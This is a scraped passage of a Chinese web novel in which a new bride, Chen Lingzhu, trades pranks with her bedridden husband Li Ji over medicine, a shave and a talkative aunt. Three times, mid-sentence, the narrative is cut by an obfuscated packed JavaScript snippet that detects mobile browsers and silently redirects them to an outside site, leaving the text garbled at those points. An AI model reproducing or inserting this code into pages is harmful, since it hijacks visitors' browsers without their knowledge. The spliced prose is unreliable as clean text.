他问阿拙:“她这又是在做什么?” 这个她,想必是说少夫人了,阿拙答道:“少夫人和几个姐姐在玩叶子牌呢,少夫人牌技奇差,已经被贴了一脑门子的纸条了。” 这个女子,还真是每日吃喝玩乐不重样。 他摇摇头,不去理会这笑声。 过了一阵,笑声停了,整个梅林上筑东院静得出奇。 阿拙进来倒水给他喝,笑道:“少夫人让大家排着队把脉呢,说给院子里的人都把个平安脉。” 李济随意问:“她会医术?” 阿拙道:“小人也不知,但看少夫人的样子,倒是像模像样,还给扫地的马婆子开了方子呢。” 李济没说什么,闺阁女子看看医经也是有的,一时手痒给人把脉看病也不算什么,只要不闹出乱子来,随她去罢。 梅林上筑上上下下加起来近二十人,虽然大多数人都不敢相信少夫人的医术,但都好奇得紧,纷纷上前排队。 陈灵珠给除了李济之外的人都一一看过,才收拾了回西院歇着。 喝了两盏茶,丫鬟说太夫人到梅林上筑东院来了,有请少夫人。 陈珠并不想去。她也不是那种没脸没皮的人,李济既然如此明显地表现出厌恶,她又何必到他面前去讨他的嫌? 但太夫人是长辈,对她也很好,太夫人有令,她不能不去。 想了想,到底认命地往东院而来。 到了东院,果然太夫人已经在屋里了。 “祖母。”她行了一礼。 太夫人见了她,笑道:“我看济儿脸色好多了,孙媳妇,这都是你的功劳。” 陈灵珠这两日根本没怎么到东院来,听了这话多少有些心虚,忙道:“孙媳并没有做什么,祖母过誉了。” 太夫人看着陈灵珠微笑。她当然知道这两日陈灵珠没有照顾李济,但有时候做长辈的,得糊涂时且糊涂。 李济是她的亲孙子,在感情上,毫无疑问她是更偏向他的,但面前的这个小姑娘,说不定真的对孙儿能醒过来有几分功劳。在这件关系生死的事情面前,其他小打小闹,就由它去罢。 她笑道:“不必过谦,你在这儿,就是帮了济儿的忙了。” 陈灵珠余光瞥了一直没说话的李济一眼。这话,只怕他不同意。 然而太夫人当前,这话是不能出口的,她只道:“孙媳不敢当。” 这时阿拙拿了汤药进来,陈灵珠见太夫人没有离开的意思,一时也不好走开,便站在太夫人身边没动。 太夫人余光一瞥,见陈灵珠站在自己身边,低眉顺眼,看起来甚是乖巧,但双手交叉拢于袖中,完全没有帮忙的意思。 她暗暗叹了口气。 阿拙将世子扶好,去案上捧了药碗过来,正想像平时那样将药碗递给世子,太夫人忽然道:“孙媳妇,你来喂济儿喝药罢?” 作为一个听话的小厮,阿拙当即停了下来,走到陈灵珠旁边,恭敬地用双手将碗递过去:“少夫人,请。” 陈灵珠不想自讨没趣,微笑着对太夫人道:“祖母,我粗手笨脚的,喂得不及阿拙好,还是让阿拙来罢。” 太夫人笑道:“你是个大家小姐,没做过这些活儿也正常,但喂药很简单的,别怕,慢慢来。” 说不动太夫人,陈灵珠只能看向李济,希望他自己开口拒绝。 但李济抿着唇竟不肯开口说话,他目光淡淡地投向她,又撇开了。 陈灵珠:“……” 他这是何意?她还以为互不打扰是他们两人的共识呢。 太夫人一直面带微笑望着她,李济又不开口,陈灵珠无奈,只好接过了碗,往床头而去。 她见阿拙方才也没用汤匙,正想有样学样,让李济就着碗沿喝了了事,谁知还没将碗送到他嘴边,太夫人又道:“阿拙,拿只汤匙来。” 这下,陈灵珠是真的觉得太夫人有些过了。 药这样苦,既然能一口喝下,为何要折磨李济,让他一口一口地慢慢喝?又不是什么美味佳肴,需要细细品尝。 她笑道:“祖母,汤匙就不必了罢,小口喝还更苦呢。” 她还得一匙一匙地喂,李济还得一口一口喝,两人都麻烦。 据她所知,李济的药里还加了分量不轻的黄连呢。 想到黄连的苦,陈灵珠不由得默默打了个寒噤。 太夫人笑道:“济儿这不是受伤了么,还是一口一口地喂罢,呛着了不好。” 阿拙手脚麻利,动作极快,太夫人一发话,他就将备用的汤匙拿了过来,双手递给陈灵珠,“少夫人。” 陈灵珠再看向李济,他还是没有出声反对,仿佛他本来就是用汤匙吃药的,而她看到阿拙让他直接一口闷不过是她的错觉。 心中疑惑,但也只好接过汤匙,然后在绣墩子上坐下来,舀起一匙药,递到李济嘴边。 李济面无表情,但配合地张开了嘴巴,陈灵珠便将药倒入,舀起第二匙。 因着急完成任务,她不知不觉便加快速度,一匙又一匙,恨不得立时全部泼到李济嘴里才好。 太夫人仿佛没看出她的急迫,在旁笑道:“这孩子当真心灵手巧,看看,不急不缓,才第一次喂药就喂得这般好。” 陈灵珠尴尬地笑了笑,只好放缓了速度。 李济面不改色地将一碗药喝完了,连眉头都不曾皱一下。 陈灵珠还是很佩服他的,不怕苦。 既然他不怕苦,那蜜饯什么的也就不必吃了。 见阿拙拿了蜜饯罐子过来,她道:“祖母,楚大夫说,服药之后半个时辰内最好莫喝水,也别吃甜食,如此药效最好。” 正拿出蜜饯准备递给给世子吃的阿拙挠挠头,楚大夫何时说过这话? 太夫人笑道:“孙媳妇,还是你懂,以后济儿喝药就由你盯着了,你可莫让他偷偷喝水吃糖,免得误了药效。” 陈灵珠恨不得打自己的嘴巴,她为何要多嘴!现下好了,搬起石头砸自己的脚了。 太夫人又道:“济儿独自一人在这屋里,也是无趣得很。他喜欢看书,但他手不方便举起来,阿拙又不识几个大字,孙媳妇,不如你有空时,来给济儿念念书罢?” 陈灵珠:“……” 回到西院,她往榻上一瘫,叹道:“才自在了两日,我又失去了自由。” 这几日,她过得极是舒心,甚至觉得,要是能就这样一直过下去就好了。谁知道太夫人会给她找事做呢。本想敷衍过去,之后他不找她,她也别碍他的眼,如此两相安好,就当什么事也没发生过。但太夫人竟让杏儿到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751498|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了时辰便来请她,还说若是杏儿误了,便要惩罚杏儿。 她反思自己,大概是这两日玩得太欢乐了,笑声都传到外院去了,才会引来太夫人的注意。乐极生悲,这便是现成的例子。 紫苏问她:“姑娘,世子为何不拒绝呢?” 陈灵珠也想不通,从头到尾,李济都没说过反对的话,他若是果断拒绝,太夫人也不好说什么罢? 明明两个人都不情愿,他不说话,倒好像只有她一个人不愿意似的。 难不成他是指望她来拒绝,在太夫人那儿,好撇清关系? 这个李济,倒是狡猾。 午膳后,她正荡着秋千醒醒神,杏儿来了。 杏儿福身一礼:“少夫人,该去东院了。” 陈灵珠道:“世子没说不用我过去么?” 杏儿摇头,“世子不曾说。” 陈珠嘀咕,难道当真是她猜想的那样? 她来到东院的卧房,李济坐在床头,见她来了,指了指降香黄檀缠枝莲博古架道:“都在那儿了。” 陈灵珠一愣,“什么?” “书。”他道:“我要看的书。” 陈灵珠愣愣地扭头,看到博古架上满满当当地摆了几十本书。她走了过去,看了看书名。这些书,前两日她住在这里时,都是没有的。 他似乎看出她心中所想,道:“这里有一些是祖母送过来的,有一些是阿拙从书房拿过来的,你先读着,若不够,再让阿拙多拿一些过来。” 陈灵珠:“……” 这么多书,要读到何年何月。 她转过了几个念头,这才伸出手抽了一本《孙子兵法》。 李济却道:“先不看这本,从最右侧拿起,逐本来。” 陈灵珠:“……” 莫非是这样就不会漏了任何一本? 将《孙子兵法》放回博古书架原处,她将最右的那本《司马法》抽出,然后坐在绣墩子上,开口念了起来:“古者,以人为本,以义治之之谓正①……” “停!”李济皱眉止住她道:“你读的是兵法,这么软绵绵地做什么?” 陈灵珠不算娇滴滴的女郎,她声音清脆,中气十足,实在称不上软绵绵。 “我就是这个声音。” “不可能。我看你中气十足,气势堪比猛虎下山,怎么只有这点子力气?”他拿出练兵的姿态道:“打起精神来!” 他才猛虎下山,他才是公老虎! 陈灵珠心头的火终于被点着,没有拿书的那只手攥了拳,差点像猛虎那般给他一拳。她忍了忍,才清清喉咙继续念道:“正不获意则权。权出于战,不出于中人②……” “不行不行!”这人又道:“力气虽有了,但咬字不清。你不是自己读,是要读给我听的,你——” 陈灵珠忍无可忍,把书“啪”地一合:“不如我将书举到世子眼前,世子自己看如何?别人读始终不如自己看,我这样软绵绵又咬字不清,勉强世子听,也是难为了世子。” 大眼瞪小眼了一会儿,李济妥协道:“罢了罢了,我将就着听罢。” “世子确定?” 李济不情不愿地点点头,看得陈灵珠又想直接把书扣他脸上。 默念了几遍看太夫人面上,她重新端正坐好,认真地读了起来。 李济听着听着,闭上了眼睛。 12. 第 12 章 给李济读了半本书,陈灵珠口干舌燥,连喝了两壶茶,才算稍稍弥补她耗费的口水。 紫苏心疼道:“不是说给世子读书嘛,姑娘怎么累成这样?” 读书不累,但给李济读书很累。 陈灵珠一边喝茶一边疑惑,这李济今日这一出又一出的是什么意思? 难道是为了报复她?因为她喂他喝了臭豆腐汁,他要以牙还牙?还是因为她是她爹的女儿,他要磋磨她? 左思右想还是没有结论,只好丢下。 第二日,陈灵珠用了朝食没多久,杏儿又来“请”她了。 陈灵珠想找借口不去,杏儿道:“太夫人说她一会儿要过来呢。” 陈灵珠看了尴尬堆笑的杏儿半晌,只能打起精神一步一步地挪到东院。 只可惜西院离东院极近,她觉得自己才堪堪走了两步,就已经到了李济的面前。 李济又到时候喝药了。 一回生,二回熟,陈灵珠喂过一次后,便把喂药这件事掌握得极好,每次只喂小半匙,一碗药足足喂了一炷香时间,把李济苦得眉头打成了结。 只可惜最后一匙收尾时有些着急,一时不慎,竟让李济的嘴角沾上了药汁。 阿拙接过空碗将碗放回台盘,转身看到了李济嘴角的药汁,忙四处找帕子。 但许是帕子都拿去洗了没拿回来,他找来找去,也没找到一条合用的帕子,陈灵珠正想提醒他去找杏儿拿几条干净的,阿拙忽然懊恼地拍了拍自己的头,道:“我真笨,少夫人手里不就有一条嘛。少夫人,借您手上的帕子给世子用一用。” 说完也不管陈灵珠同不同意,转身端着台盘就出去了。 陈灵珠:“……” 李济的这个小厮,聪明的时候是真聪明,极其讨人喜欢,但憨的时候,又傻得令人发指。 陈灵珠有些尴尬。不给罢,不过就是一条帕子,擦一擦也不给,未免小气;给罢,李济用她的帕子擦嘴,总让人觉得哪里怪怪的。 迟疑了几息,她还是决定出去找杏儿要帕子,但李济也许是看出了她的不情愿,竟伸出手,慢慢地从她手中将帕子一点一点地抽了过去。 他抬手臂大概还是会扯着伤口,陈灵珠见他微微皱了一下眉头。 认命地叹了口气,她道:“还是我来罢。” 从他手中拿过帕子,她以武松打虎的气势,胡乱给他擦了几下嘴角。 但除了嘴角,刚才有一滴药汁还滴到了李济的手背上,他又从她手中拿过帕子,擦了擦。 也许是帕子上绣着的猪咯着了他,他擦完手背,将帕子拿到眼前看了看,帕子上面绣着一只憨态可掬的猪,正欢乐地吃草。 这个样式并不多见,一般人都在帕子上绣花儿鸟儿竹子,果然他道:“你这个帕子绣的样式,倒是特别。” “随便绣的。”她顺手取走了帕子,态度随意,仿佛在说一件不值一提的小事,心跳却控制不住地快了起来。 她属猪,所以才会在帕子上绣一只猪,此事若说破,李济就会知道她不是陈灵瑛。 “你的小字是什么?” 陈灵珠看他,只见他面色淡淡,看不出是试探还是随口一问。 她不由猜测他是不是已经知道了什么,若是,她应该在他未开口挑破前先坦白,但若他只是随口一问,眼下似乎也不是说破的好时机。 但如果不说,几时才是良机呢。 罢了,伸头一刀,缩头也是一刀,择日不如撞日,撞日不如今日。无论什么后果,她受着便是。 打定主意,她深吸一口气:“我……” “济儿。”外面忽然传来一声带着笑意的呼唤。 是太夫人来了。 说不成了。陈灵珠松了一口气的同时又有些遗憾,她刚刚好不容易才鼓足勇气的。 再看李济,他已转头望向门外迎接太夫人。 太夫人由她的瓜子脸丫鬟绿儿扶着慢慢走了进来,她看着屋里的李济、陈灵珠二人,笑容深了三分。 陈灵珠跟太夫人行礼,走过去将她扶到李济床前的绣墩子上坐下。 太夫人照例看了看李济的脸色,点头道:“今日看起来又好一些了,祖母看你现在这样,才算放下了心。孙媳妇,辛苦你了。” 陈珠挤出一个笑容道:“这都是孙媳应该做的。” 李济瞥陈灵珠一眼,转头对太夫人道:“孙儿已好了许多,祖母往后不必这么辛苦,总是来看孙儿了。” 太夫人摆手:“无妨无妨,我这老骨头还没散架,来看看你不值什么,大夫也叫我多走动呢。” 祖孙几个正说着话,阿拙和杏儿进来了。阿拙端着一盆水,杏儿低头跟在后面,手里拿着台盘,台盘里放着一方洁净的巾帕和一把小而略弯的刀、一把剪子。 两人弯腰屈膝行礼,“太夫人、世子、少夫人。” 李济不喜婢女多进内室,杏儿放下台盘,福了福身便退了出去,阿拙站在一旁听候。 看这样子,是要给李济修面了。 李济从遇刺前两日已不曾刮过胡子修过面,更别提昏迷之后。 此前谁也顾不上这个,阿拙是个懂事的小厮,见世子胡子长出了两寸许,虽无损世子的英武,但他本人更喜欢俊俏的玉面郎君,进来之前也不知道太夫人来了,便自作主张,把修面的工具和水盆都带了进来。 太夫人看了看李济的脸,认同地点头道:“济儿这胡子是该刮一刮了。” 陈灵珠见李济要剃胡子,她在这里也待了有一阵子了,便打算顺势离开。她料想太夫人也不会留在这里看孙儿修面,正要上前扶住太夫人的手臂与她一同出去,谁知太夫人道:“阿拙笨手笨脚的,不如由孙媳妇代劳罢。” 忽然被说笨手笨脚的阿拙:“……” 阿拙虽有时憨憨的,但眼明手快毋庸置疑,这也是他能成为李济的贴身小厮的主要原因。见太夫人这么说,阿拙心里难免有些不服气,张嘴想反驳,想说连世子都夸他手脚麻利,却见太夫人的目光淡淡地朝他投了过来。太夫人面容和蔼,看阿拙的目光也温和不带怒色,但阿拙立刻就噤了声。 自觉更笨手笨脚的陈灵珠为难道:“祖母,这个……我不太会。” 太夫人道:“不会有什么要紧,刮着刮着就会了。你这样聪明的孩子,这点小事还能难倒你?” 这不是小事,而且,真的能难倒她。 她把目光转向李济,想让他自己出面拒绝,毕竟修面不比喂药,想来他比她更不情愿。 但这厮只是目光淡淡地看了看她,没说好,更没说不好。 太夫人催促道:“快去呀,不会的问济儿就是。” 赶鸭子上架,陈灵珠只好走到台盘旁边,也不知该先拿哪样工具,一件件看过来,又望过去,犹豫了片刻,低声问阿拙:“应该先用哪件?” 阿拙无缘无故被说笨手笨脚,正委屈地沉默,此时见陈灵珠问他,赶紧响亮地应道:“少夫人,先用剪子将世子的胡子剪一剪。” 陈灵珠依言,拿起剪子,先看了一眼。 这剪子很是锋利,锋口处闪着银光。 她拿着剪子走到李济面前,看向李济,两人四目交接。 她从未剃过胡子,他自己不拒绝,万一有个剐蹭,可别把账算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751499|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她的身上。 都说眼睛能说话,她觉得自己已经用眼睛把态度表达得清清楚楚,以李济的聪明,想必也看得明明白白。 李济没说话。 那就是达成一致了。 很好。 她先揪起李济的一小撮胡子,小心翼翼地剪了下去。 剪子很锋利,第一撮胡子剪得十分成功。 她力求将胡子剪得短,手下不自觉用力,大约是扯得痛了,李济微微蹙了蹙眉。 她放手,李济随之松开了眉头。 她又揪起另一撮,李济又皱眉。 她又放了手。 如此几次,她发现,李济虽然时不时皱眉,但并没有呼痛,也没有开口阻止她。 此时不做点什么,更待何时? 李济发现,陈灵珠一开始确是战战兢兢,但后来与其说是帮他剪胡子,倒不如说是揪他的胡子。 而且越揪越用力,恨不得弃那剪子不用,直接将他的胡须一根根拔下来。 她很得意,从她压也压不住的嘴角就能看出来。 陈灵珠将胡子仔细地剪完,满意地将李济看了看。 没想到她样样都如此有天分。 她信心大增,颇为利落地拍了拍手上胡子的碎屑,问阿拙:“接下来要做什么?” 阿拙连忙道:“少夫人先用巾帕给世子擦擦脸,擦得半湿,然后就好刮了。” 陈灵珠道好,大步走到水盆旁麻利地将巾帕拧起,走到床头,对着李济的脸胡乱用力一通擦。 擦得略湿,她拿起小刀,按住李济的脸,准备开刮。 李济战栗了一下,她不满地制止他:“别动!” 话出口后发觉语气略凶,用余光瞥了瞥太夫人,她亡羊补牢道:“世子切莫乱动,我手粗脚笨,万一伤着世子就不好了。” 再乱动,被她手中的刀伤着,可就怪不得她了。 李济果然没再动了,他甚至闭上了眼,像老僧入定了似的。 陈灵珠满意地点头,很好,很配合。 她按着李济的脸,将短短的胡茬一点一点地刮干净。 阿拙一直欲言又止,几次想说话,又被太夫人用眼神制止了。 他没有办法,只能跟世子一样闭上眼。 天爷,刮胡子怎能只用巾帕擦一遍啊,水早就干了,看世子的脸都红成什么样了! 太夫人见陈灵珠帮李济修面的过程中一直带着笑意,李济虽然面容冷淡,但全力配合,甚至方才陈灵珠的笨手笨脚连她也看不下去了,李济居然也忍了下来,显然这两日相处下来,两人的感情已大有进展。 她不禁为自己的灵光一闪而得意。 既然小夫妻已经渐入佳境,她似也没有还留在此处的必要,便道:“祖母坐了这半天,也有些累了,这便回去了。济儿好好养伤,让孙媳妇好好照顾你。” 说着就站起身来,由绿儿扶着往外走。 李济睁开眼,陈灵珠也停了手,齐声道:“祖母慢走。” 太夫人走了,陈灵珠赶紧将小刀扔回台盘中,再看李济,果然面如冠玉,貌比潘安,就是刚才剃过的地方红得异常。 李济的脸上似带着一丝冷意,眼看就要发难,她连忙道:“世子坐了许久,快躺下休息罢。阿拙,快来扶世子躺下。” 丢下话,她连忙三步并作两步地跑了。 阿拙将李济扶着躺下,见他脸被少夫人刮得红了一大片,问他:“世子,小的给您拿冰敷一下罢?” 可怜的世子,这得多痛啊。 李济伸手摸了摸隐隐作痛的下巴。 “不必。” 13. 第 13 章 陈灵珠回了西院,往美人榻上一躺,对两个丫鬟道:“我陪嫁的两个庄子,你们看一看喜欢哪个,我们就搬到哪个去住。” 紫苏奇怪道:“姑娘,可是又出什么事了?” 陈灵珠便把刚才拔胡子一事说了,她将双手举到眼前,上下翻了翻,“为什么我就管不住自己的手呢?” 两个丫鬟捂着嘴偷笑,这哪是管不住自己的手,是管不住“使坏”的心。 她们姑娘有时候是有些促狭。 茯苓笑道:“姑娘别担心,世子没有当场发作,那就是没事。” 紫苏也道:“就是,世子若要把姑娘怎么样,哪里还等以后。” 陈灵珠觉得不是,刚才应该是因为太夫人在,他给太夫人面子呢。 李济只怕没有那么好说话。 果然,她不过用了个饭,又小憩了一小会儿,杏儿又过来“请”她了。 见了李济,陈灵珠把笑容安上脸,道:“世子剃了胡子,看起来甚是清爽。” 李济无视她的恭维,睨她一眼,笑了笑,缓缓开口道:“祖母说,她想抄一卷经摆在佛前供奉,我想着,祖母年纪大了,抄写经书有些吃力,所以替你把这件事揽了过来,你没有意见罢?” 帮太夫人抄经没什么可说的,她自然不会有意见,然而经过之前的几件事,陈灵珠怀疑,事情不止如此。 李济难道在打什么坏主意? 但她一时琢磨不透,只好问他:“祖母想抄哪卷经?” 李济用下颌指了指降香黄檀博古书架:“在那儿了,你看看。” 她走过去拿起最外面的书一看,是《金刚经》。 她拿着经书,拔脚准备走,“我拿到书房去抄,抄完了再送去祖母那儿罢。” 这样就有藉口暂时不来东院了,她抄得慢点,太夫人也不能说她什么罢?毕竟有人写字快有人写字慢,而她,“恰好”是很慢的那一种。待她抄完经,李济只怕伤口都愈合了。 “不必。”李济道:“你在这儿抄就好,东西都给你准备好了。” 陈灵珠顺着他的手指一看,屋子东南向的角落里放了一张紫檀长条书案,上面放了笔墨纸砚,还有一块帛布。 陈灵珠:“……” 好在《金刚经》不厚,应该很快就能抄完。 她坐到长条书案前,开始誊抄。 在帛上写字不是易事,字须写得小,墨水又容易晕开,一旦一字有错,整张帛书就废了。 给太夫人供奉佛前的,她也不能大意,每写一个字,都要斟酌再三,所以两个时辰过去,她才抄了一点点。 她手臂发酸,不由放下笔,甩了甩手。 外面飘来一阵浓郁的香气,是烤羊肉的味道。 抄了这么久的经书,她也有点饿了,便想出去看一看是谁烤羊肉,顺便吃一点填填肚子。 她站起身,对李济道:“世子,我出去走一走,活动活动筋骨再回来。” 李济微笑着点头:“你只管去。只是有一样,你年纪小未必知道:佛不杀生,不食荤腥,你既然揽下了抄经的差事,这期间还是戒口为好。免得本是一番好意,反招佛祖怪罪祖母心意不诚。” 陈灵珠顿时反应过来,原来在这儿等着她呢! 她就知道,不会只有抄经这么简单。 但若被他看出她此刻口中生津,岂不中了他的计?她暗暗咬牙,不动声色将口水吞下,满不在乎道:“世子可是怕我吃外面的烤羊肉?世子不必担心,我最讨厌的便是吃羊肉。” 要不是眼尖看到她悄悄咽了一口唾沫,李济几乎就要相信她了。 正中靶心,他继续落井下石:“也不止是羊肉,其他肉食、辛辣之物,抄经期间都不碰为妙。我看这经书,薄薄的一本,约摸两日三日也就抄完了。这两日就难为你茹素了。” 陈灵珠最喜吃肉和辛辣之物,一餐没这些东西便觉得浑身难受,何况两日三日。 这人倒是会找她的命门。 她袖中的手握紧,面上却云淡风轻道:“世子说的是,抄经是该沐浴焚香,不碰荤腥。不过,如今世子的伤口正是要紧时候,我在世子房中抄书,让世子也一起茹素,到底对世子身子有碍,不如我——” “无妨,你抄快些就是了。我吃一日两日素不打紧,楚大夫也说没问题。” 陈灵珠:“……” 李济笑了笑,赶她:“你不是说要出去走走?快去快回。” 陈灵珠踏出门槛,发现那烤全羊的架子就放在东院门口两步之遥,架上的肥羊油一直往下滴。阿拙还拿了一把葵扇,有意无意地将烟火和香味往屋内赶。见她出来,阿拙颇有些讪讪,忙住了手。 众丫鬟都围着这羊,紫苏见陈灵珠出来,笑道:“姑娘快来,这羊肉烤得正好。” 说着便要拿小刀切一片最肥美的肉给她。 “我不吃。”她拦住了紫苏,苦涩道。 “为何?”紫苏奇怪地问道:“姑娘不是最喜欢吃羊肉吗?” 是最喜欢,可是她被李济设计了不能吃。 “我给太夫人抄经呢,暂时碰不得荤腥。” “哦。”紫苏道:“那可真是不巧。” 没有什么不巧,巧得很,看这个烤架安放的位置,院子里哪里没有空地,非要放到这东院的门口?若说李济没有授意,阿拙就敢这么做,打死她也不会相信。 陈灵珠觉得自己意志薄弱,抵御不住香气的侵袭,没法在梅林上筑待了,便想去后花园走走,紫苏要跟着去,陈灵珠止住她道:“你留在这儿罢,帮我多吃点。” 紫苏犹豫,杏儿道:“婢子陪少夫人去罢。” 杏儿是个稳妥的,陈灵珠点头同意。 主仆二人一边往后花园方向慢慢地闲逛,一边闲聊。杏儿是镇国公府的家生子,知道不少事,这几日跟陈灵珠又相处得很好,所以但凡陈灵珠有问,就没有杏儿不答的。 两人正逛着,远远走来一个身材丰腴的妇人,看衣着,应已有了年纪。 陈灵珠除了镇国公这三房人外,其他的人好些还不是很认得,便问杏儿那是谁。 杏儿道:“那是隔壁二房的允二太太。” 李氏家族家大业大,镇国公这一支是嫡支,但也还有其他的旁支族人。虽分了家,到底还是一家人,互相也常有来往。 杏儿欲言又止,最后还是低声对陈灵珠道:“少夫人,这位允二太太……有点嘴碎。” “哦?”陈灵珠问道:“怎么个嘴碎法?” 其实说允二太太嘴碎还是客气的,这位隔房二太太出身市井,口无遮拦,只要醒着,嘴巴从来不停,什么也敢说,什么也敢问,又常常荤素不忌,人虽是个好人,嘴巴却让人受不了,连镇国公夫人和二夫人、三夫人有时也躲着她。 杏儿很快地说了个大概,低声道:“少夫人,一会儿若是允二太太说了什么不好听的,您多担待,别跟她计较,也别往心里去。” 她是怕陈灵珠年轻的小媳妇面嫩,一时招架不住,到时候恼了,甚至哭了就麻烦了——这样的事情也不是没有发生过,这位允二太太有着彪炳的“战绩”。 本来杏儿想劝陈灵珠转到另一条路去避开允二太太,但允二太太显然已经看到了她们,再避开已经来不及了。 陈灵珠淡定道:“无妨,我自有计较。” 既然躲不了,那就见机行事。而且,就在方才,她想到了一个极妙的主意。 允二太太果然早早就看到了陈灵珠,扬声道:“那是济儿媳妇吗?” 到了近前,陈灵珠给她行后辈礼,允二太太拉着陈灵珠的手道:“果真是济儿媳妇,哎呀,真是好一朵娇艳的花!我看就是这花园里的花朵儿也比不过你去!” 陈灵珠暗想:这允二堂婶不是挺会说话的嘛。 结果她还是高兴得太早,因为下一句允二太太就道:“还好济儿醒了过来,不然你这一朵娇花谁来采!” 说得李济跟采花贼似的。 见陈灵珠含笑不语,面带羞涩,允二太太又道:“济儿媳妇,你别害羞,我跟你说呀,这女子与男子,就像花儿与蜜蜂,蜜蜂采了花儿的花粉,花儿才不白开这一场,才有甜甜的蜂蜜,你说是不是?” 杏儿怕她盯着陈灵珠说个没完,万一说岔了去,忙笑道:“二太太好久不曾过府来了。” 允二太太也是认得杏儿的,见杏儿搭腔,笑道:“杏儿啊,你也是一朵娇花,过个两年,记得让济儿媳妇给你安排个好夫婿。有了好夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751500|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婿啊,咱们女子才能像花儿一样越发娇艳呢,你看有些女子恹恹的,就是她们的夫婿不顶用的缘故……” 陈灵珠和杏儿都是未经人事的姑娘,虽知道允二太太的这些话不是什么好话,但听着云里雾里,也不甚懂她在说些什么。但也知道不能任由她说下去了,便把话题转回到她自己身上,问她做什么来,允二太太说她来看太夫人,这就回去了。说是要回去,却拉着陈灵珠站在那里,一副不把口水说干不罢休的架势。 陈灵珠面上微笑着,心中却急转,等允二太太吞口水的小小间隙,连忙笑道:“那天世子还说起婶娘呢,说好久没见到婶娘了。” 允二太太惊讶道:“真的?济儿这孩子,性子虽冷了些,心却热得很,难为他还记挂着我。哎呀,说起来,我也好久没去看他了,怕打扰他养伤,也怕打扰你们新婚小夫妻……今日天色还早,要不,我去看看他?你们不嫌婶娘打扰罢?” 陈灵珠大方笑道:“不会不会,世子眼下一个人呆在屋内也是无趣得很,婶娘您说话风趣,料想世子也是求之不得。” 允二太太大喜:“如此甚好,我这就看看他去。婶娘我呀,别的不敢说,但说话,不是我自夸,没几个人比得上我……” 陈灵珠暗暗好笑,盈盈道:“如此就有劳婶娘了。我还有点事儿要去找祖母,就不陪婶娘您过去了,劳婶娘陪世子说说话。” 允二太太拍拍胸.脯道:“小事小事,你放心,有我在,包管济儿不会闷着……” 允二太太兴冲冲地走了,望着她的背影,陈灵珠忍不住噗呲一笑。 世子和少夫人之间的较劲,杏儿多少也看出来些,知道此番让允二太太去烦世子,定是少夫人对刚才烤肥羊的回敬了。她不由好笑,轻轻摇了摇头。 陈灵珠笑着问她:“你不赞同?” 谁叫他故意诱惑她又不许她吃的,有来有往罢了。 杏儿笑道:“少夫人自有少夫人的道理。” 小夫妻之间只要不太过分,这种程度的斗气,杏儿绝不会多嘴,更不会多事捅到太夫人那儿去。 陈灵珠身心舒畅,刚才的憋屈一扫而光,手也不疼了,脖子也不酸了,在后花园逛到金乌西坠,估摸着允二太太怎么也应该回去了,才带着杏儿慢慢地往回走。 回到梅林上筑,东院已经掌了灯。 这个时辰陈灵珠已经有些饿了,换作平日,她定会快快地回到西院用膳,但今日,她无论如何也要先去看一看李济的脸色。 不知允二堂婶可“解了他的闷”。 这么想着,她不由脚步都轻快了些,满面春风地走进内室。 李济坐着,面色沉沉,看起来还有一点疲倦。 他越不高兴,她的心情就越好。 “世子,我来拿佛经。” 她一面说着,一面向书案走去。见李济没有开口,她站定,看了看李济,笑意盈盈地“体贴”道:“世子,可是有事烦恼?我看你面色不佳呀。” 语气里的幸灾乐祸显而易见,因她根本就没想要掩饰。 李济抬起头,盯着她看了一会儿,然后轻轻地笑了一声。 “你还算有点本事。” 今日允二堂婶口若悬河,拉着他足足说了近两个时辰,从他的伤说起,一直到夫妻相处、子嗣、前程、俸禄,总之,二堂婶表示了对他的担忧,尤其是能否再做一个正常男人的担忧。 若非天色已晚,他以要喝药为由打发她走了,只怕她能再说几个时辰。毕竟是长辈,他也不能摆脸色,但内心已经忍耐到了极点。 他本不明白允二堂婶为何突然来看他,陈灵珠出去后为何又一直未归,直到允二堂婶道:“我方才呀,在花园里见到了你媳妇,哎呀,真是月宫里的嫦娥仙子似的,俏生生的能让花儿也自惭形秽。济儿,你是真有福气,娶了这么个貌美如花的妻子,也还好你没伤着那儿,不然你说这么个好女子,岂不……” 他还有什么不明白的。 陈灵珠装傻道:“世子在说什么?不过抄个佛经,一点孝心罢了,哪里谈得上本事不本事的。若论本事,谁比得上世子?” 李济轻笑了一声,点头道:“说的是,你还没见过我真正的本事呢,也是时候让你见识见识了。” 14. 第 14 章 陈灵珠不管李济有什么本事,她神清气爽地回到西院,丫鬟见她回来了,忙把晚膳端了上来。 上来的都是清淡的素菜,但陈灵珠想象了一下李济对着允二太太的样子,心里高兴,不知不觉便多吃了半碗饭。 